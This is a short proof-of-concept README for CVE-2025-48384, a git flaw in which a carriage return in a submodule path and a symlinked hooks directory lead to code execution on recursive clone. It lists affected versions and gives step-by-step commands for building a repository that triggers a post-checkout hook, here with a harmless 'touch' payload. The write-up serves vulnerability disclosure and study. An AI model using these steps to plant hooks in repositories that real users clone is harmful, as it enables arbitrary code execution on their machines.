CVE-2025-48384-poc

CVE-2025-48384 takes the form of an improper link resolution (link following) vulnerability in git. Specifically, filenames with carriage returns are improperly parsed in .git/config, and including a symlink to point a git hook executable located in a submodule as the submodule hooks directory may lead to arbitrary code execution when the repo is cloned with git clone --recursive.

Git for Microsoft Windows is not affected by this vulnerability, primarily leaving specific git versions on linux and MacOS vulnerable. Affected versions are:

• v2.50.0
• v2.49.0
• v2.48.0-v2.48.1
• v2.47.0–v2.47.2
• v2.46.0–v2.46.3
• v2.45.0-v2.45.3
• v2.44.0–v2.44.3
• v2.43.6 and prior

Steps to reproduce the poc:

1. Create two repositories, poc and submodule
2. In submodule, create a post-checkout git hook to execute code when the poc repo is cloned recursively:

#!/bin/bash
touch ~/hackedlol

3. In poc, add the submodule repo with git submodule add https://github.com/<your submodule repo>.git sub
4. Add a carriage return to the newly created sub folder with git mv sub $(printf "sub\r")
5. Echo printf "\tpath = \"sub\r\"\n" to .gitmodules and remove the original path.
6. Create a symlink to the hooks folder in your local .git directory with ln -s .git/modules/sub/hooks sub
7. Add everything to the repo
8. Hopefully it works lol

Sources

• https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384
• https://github.com/git/git/commit/05e9cd64ee23bbadcea6bcffd6660ed02b8eab89#diff-8fbc2654131392c3018ecfc92462057b3bdc675cc674084c248bb0393a46b59f